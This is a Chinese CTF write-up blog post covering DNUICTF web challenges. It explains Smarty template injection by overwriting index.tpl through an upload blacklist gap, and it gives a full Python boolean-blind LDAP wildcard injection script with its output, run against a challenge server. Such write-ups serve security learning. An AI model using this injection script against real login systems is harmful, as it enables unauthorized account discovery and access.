东软杯 DNUICTF-Web(部分)

本文讲述了通过模板注入上传index.tpl,绕过后端黑名单,实现模板注入并利用布尔盲注技术,结合LDAP数据库特性,最终解码获取flag的过程。涉及技术包括Smarty模板、LDAP注入及盲注策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[签到] flag

在这里插入图片描述

在这里插入图片描述
把得到的字符拼接再b64解码得到flag

odd_upload

在这里插入图片描述
题目环境中有一个文件上传功能,还可以指定保存路径,经过简单尝试后发现本题后端黑名单包括了php和apache配置文件,但是没有包括tpl模板文件
smarty框架的模板文件存放在/templates中,可以直接上传同名的index.tpl文件来覆盖原本的tpl文件进行模板注入

在这里插入图片描述

成功上传后访问index.php看看渲染的输出

在这里插入图片描述
直接在环境变量中找到flag

easyinject

在这里插入图片描述
打开题目是一个简单的登陆界面,在注释中找到一对用户名和密码
尝试登陆后,提示flag是一个特殊的用户名,由a-z0-9_组成,看到题目时都会想到需要sql盲注得到用户名,但是尝试各种payload后发现无效

在这里插入图片描述
经过尝试,当输入的值中含有括号时会产生如上报错,从报错信息中可知登陆信息是存储在LDAP数据库中的,关于LDAP的介绍可以看这位大佬的博客
LDAP的注入与防护

经过简单判断可以大致推测登陆的后端检验语句应该是这样的
(&(USER=Uname)(PASSWORD=Pwd))
&来连接两个条件对数据库中的数据进行查询
传入的值里面还可以使用通配符*
在这里插入图片描述
当传入这种用户名的时候依然可以登录成功

我们可以以此来进行布尔盲注

import requests

url='http://47.106.172.144:2333/'
str='_0123456789abcdefghijklmnopqrstuvwxyz'
success='密码错误'

def left():
    result='_*'
    i=0
    while(i<37):
        c=str[i]
        login={'user':f'*{c}'+result,'pass':123}
        r=requests.get(url,params=login)
        txt=r.text
        i=i+1
        if success in txt:
            result=c+result
            print(result)
            i=0

def right():
    result='*_'
    i=0
    while(i<37):
        c=str[i]
        login={'user':result+f'{c}*','pass':123}
        r=requests.get(url,params=login)
        txt=r.text
        i=i+1
        if success in txt:
            result=result+c
            print(result)
            i=0

left()
right()
'''
output:
i_*
li_*
pli_*
apli_*
dapli_*
ldapli_*
*_1
*_1s
*_1s_
*_1s_v
*_1s_v3
*_1s_v3r
*_1s_v3ry
*_1s_v3ry_
*_1s_v3ry_e
*_1s_v3ry_ez

flag{ldapli_1s_v3ry_ez}
'''

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值